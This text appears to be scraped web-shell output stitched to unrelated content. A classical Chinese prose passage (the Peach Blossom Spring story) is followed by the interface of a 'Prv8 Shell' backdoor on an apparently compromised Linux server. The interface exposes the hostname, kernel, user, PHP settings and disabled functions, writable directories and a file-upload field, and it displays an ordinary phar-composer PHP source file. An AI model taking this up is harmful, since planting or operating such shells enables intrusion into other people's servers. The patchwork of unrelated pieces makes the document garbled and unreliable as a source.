晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/cpanel/ea-wappspector/vendor/clue/phar-composer/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cpanel/ea-wappspector/vendor/clue/phar-composer/src/Command/Search.php
<?php


namespace Clue\PharComposer\Command;

use Clue\PharComposer\Phar\Packager;
use Packagist\Api\Client;
use Packagist\Api\Result\Package;
use Packagist\Api\Result\Package\Version;
use Packagist\Api\Result\Result;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Helper\QuestionHelper;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Question\ChoiceQuestion;
use Symfony\Component\Console\Question\Question;

class Search extends Command
{
    /** @var Packager */
    private $packager;

    /** @var Client */
    private $packagist;

    /** @var bool */
    private $isWindows;

    public function __construct(Packager $packager = null, Client $packagist = null, $isWindows = null)
    {
        if ($packager === null) {
            $packager = new Packager();
        }
        if ($packagist === null) {
            $packagist = new Client();
        }
        if ($isWindows === null) {
            $isWindows = DIRECTORY_SEPARATOR === '\\';
        }
        $this->packager = $packager;
        $this->packagist = $packagist;
        $this->isWindows = $isWindows;

        parent::__construct();
    }

    protected function configure()
    {
        $this->setName('search')
             ->setDescription('Interactive search for project name')
             ->addArgument('project', InputArgument::OPTIONAL, 'Project name or path', null);
    }

    /**
     * @param InputInterface       $input
     * @param OutputInterface      $output
     * @param string               $label
     * @param array<string,string> $choices
     * @param ?string              $abortable
     * @return ?string
     */
    protected function select(InputInterface $input, OutputInterface $output, $label, array $choices, $abortable = null)
    {
        $helper = $this->getHelper('question');
        assert($helper instanceof QuestionHelper);

        if (!$choices) {
            $output->writeln('<error>No matching packages found</error>');
            return null;
        }

        // use numeric keys for all options
        $select = array_merge(array(0 => $abortable), array_values($choices));
        if ($abortable === null) {
            unset($select[0]);
        }

        $question = new ChoiceQuestion($label, $select);
        $index = array_search($helper->ask($input, $output, $question), $select);

        if ($index === 0) {
            return null;
        }

        $indices = array_keys($choices);
        return $indices[$index - 1];
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $this->packager->setOutput($output);
        $this->packager->coerceWritable();

        $helper = $this->getHelper('question');
        assert($helper instanceof QuestionHelper);

        $project = $input->getArgument('project');

        do {
            if ($project === null) {
                // ask for input
                $question = new Question('Enter (partial) project name > ', '');
                $project = $helper->ask($input, $output, $question);
            } else {
                $output->writeln('Searching for <info>' . $project . '</info>...');
            }

            $choices = array();
            foreach ($this->packagist->search($project) as $result) {
                assert($result instanceof Result);

                $label = str_pad($result->getName(), 39) . ' ';
                $label = str_replace($project, '<info>' . $project . '</info>', $label);
                $label .= $result->getDescription();

                $label .= ' (⤓' . $result->getDownloads() . ')';

                $choices[$result->getName()] = $label;
            }

            $project = $this->select($input, $output, 'Select matching package', $choices, 'Start new search');
        } while ($project === null);

        $output->writeln('Selected <info>' . $project . '</info>, listing versions...');

        $package = $this->packagist->get($project);
        assert($package instanceof Package);

        $choices = array();
        foreach ($package->getVersions() as $version) {
            assert($version instanceof Version);

            $label = $version->getVersion();

            /* @var ?string $bin */
            $bin = $version->getBin();
            $label .= $bin !== null ? ' (☑ executable bin)' : ' (<error>no executable bin</error>)';

            $choices[$version->getVersion()] = $label;
        }

        $version = $this->select($input, $output, 'Select available version', $choices);

        $action = $this->select(
            $input,
            $output,
            'Action',
            array_filter(array(
                'build'   => 'Build project',
                'install' => $this->isWindows ? null : 'Install project system-wide'
            )),
            'Quit'
        );

        if ($action === null) {
            return 0;
        }

        $pharer = $this->packager->getPharer($project, $version);

        if ($action === 'install') {
            $path = $this->packager->getSystemBin($pharer->getPackageRoot());
            $this->packager->install($pharer, $path);
        } else {
            $pharer->build();
        }

        return 0;
    }
}

haha - 2025